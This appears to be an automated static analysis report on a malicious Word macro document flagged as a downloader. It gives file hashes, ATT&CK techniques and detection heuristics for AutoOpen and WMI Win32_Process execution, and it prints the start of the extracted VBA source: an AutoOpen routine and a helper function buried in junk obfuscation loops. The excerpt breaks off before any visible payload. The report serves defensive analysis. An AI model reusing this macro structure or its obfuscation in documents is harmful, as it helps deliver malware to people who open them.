Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a1a1d1ca48c3886…

MALICIOUS

Office (OLE)

200.0 KB Created: 2019-04-11 16:11:00 Authoring application: Microsoft Office Word First seen: 2019-04-21
MD5: 0b88697c07222e12125aac2fe4bc8e03 SHA-1: 41ea46b923f3a767610fb0f76ba662a45785005d SHA-256: 8a1a1d1ca48c3886c2dd482907ce8981495899d7e19bb0c2e0b873bcc7e62ec5
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon opening the document. The macro utilizes GetObject and CreateObject to launch a process via WMI (Win32_Process), indicating an attempt to execute a secondary payload. ClamAV also identified this file as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-6938008-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6938008-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38883 bytes
SHA-256: 4a51fd4282320c8a8605115f9490331b33a95afc1f422c14649b61642a2688b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DDUwGA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CBAQAAQ"
Attribute VB_Base = "0{46282A81-997D-4CFC-9755-60F76D02FBCE}{EAEDC591-1CA4-45BE-960B-E278988AC6D0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mUAAQAA"
Attribute VB_Base = "0{D5C06930-87F5-4643-92B7-A704F593397C}{272B7BC4-7759-4DBC-B6A3-3CF40F7AFCC4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "HkAG1AX"
Sub autoopen()
   If XoCkUDAA = LAAACDw1 Then
  Do While WBAC4kAB And oGGZAoU
      While qoAQQAA And 308390607
         AXUA1Q = Asc(876848353 / Oct(641485969))
      Wend
      For OAAQAwQ = 72674189 To 313119313
         zCABcA = 33669867
      Next
      Set HAAZkDA = zowAAwZ
      If jBoDcA Eqv 967607897 Then
         vc1ABX = CDate(XAAAQAU)
      End If
      While pBZwBDU < vGQA_QA
         tDAAAc = (YBUAUAGA)
Wend
   Loop
End If
   If U_DcXZQ_ = IAAABAwC Then
  Do While DACX4QG_ And s4U4kD
      While KXUUwDU And 319305645
         AADUADA = Asc(235393707 / Oct(527725812))
      Wend
      For VADoCcB = 633716738 To 745494397
         W4ACwDAB = 461559918
      Next
      Set B_ADAA = tBAAQDAA
      If HGxxAA_ Eqv 952602168 Then
         X1CUDU = CDate(DoBU4cQ)
      End If
      While SCB4QAw < zxwZ4XG
         dADXUB = (UQADAwAG)
Wend
   Loop
End If
l4U1kD
   If NAUAQB_ = rG4G1D Then
  Do While nwcBoQ And rXA1AAAk
      While NACU_Q And 818106465
         LQxADC = Asc(778725614 / Oct(670121892))
      Wend
      For hUxDAUG = 571866125 To 581875958
         nZQABU = 292765752
      Next
      Set LxAUAAAA = zAkAZUw
      If zQXwxD Eqv 469348400 Then
         EAQZ4xA = CDate(RQ4oAQ)
      End If
      While sABAA4C < wxQ14A
         rQA_QDU = (uAAkAAx)
Wend
   Loop
End If
   If DQADkD = c_kQDw Then
  Do While XBAcDwG And UGAAxBXD
      While PZQ4QA And 895886630
         mBA_XQ4A = Asc(106337884 / Oct(350423822))
      Wend
      For sA_UU4AQ = 601251838 To 945267077
         FoAGC4C = 453670911
      Next
      Set NAAwCUAD = qA_Q1Ak_
      If EAAAAAU Eqv 928696060 Then
         VwQoZAD = CDate(nkZocQB)
      End If
      While TAZ_U_ < uZoAGZA
         iZB1BA = (zQBCXUZo)
Wend
   Loop
End If
End Sub

Attribute VB_Name = "XUAA4ABA"
Function l4U1kD()
On Error Resume Next
   If vAUDQU = BAQ1Ao Then
  Do While cDAUw__ And oAcAAUA
      While zBxZAUoA And 342594123
         iAcUwAAA = Asc(210074705 / Oct(821253553))
      Wend
      For YcADD4cC = 615132368 To 765151774
         jAx1UQAk = 896012357
      Next
      Set mD4A4A4A = AQQAAZU
      If HAoDUoA Eqv 944372428 Then
         vDCxwxxQ = CDate(qxAcDGA)
      End If
      While SxXAAAAB < bXXGGAAA
         QxAZxA = (wUAACcB)
Wend
   Loop
End If
   If aAwkxX = LAXAwQA Then
  Do While VAoAUA And VAZAAA
      While I1BAXBGC And 800957531
         CowwZAXC = Asc(214482043 / Oct(972335969))
      Wend
      For VQA4AU = 473269207 To 328813822
         zAwUBB4A = 940025354
      Next
      Set jGwXZckU = lXX_Uk
      If dAwBDA Eqv 174784521 Then
         LDDAxQ = CDate(sBACUDAU)
      End If
      While tACXAD < GAB11xQ
         SDwUGCAQ = (PAc4_cU1)
Wend
   Loop
End If
   If zUXUZAwQ = wAABAQ Then
  Do While ZAQDGU And jGACQU4A
      While dcB4AAA And 735536284
         CAoQQUU = Asc(169594649 / Oct(4907049))
      Wend
      For XAAQBABU = 553118563 To 120487162
         JcGZoo = 983199834
      Next
      Set zAUoACAA = pAAkBBB
      If nAwZAAGA Eqv 109182654 Then
         
... (truncated)

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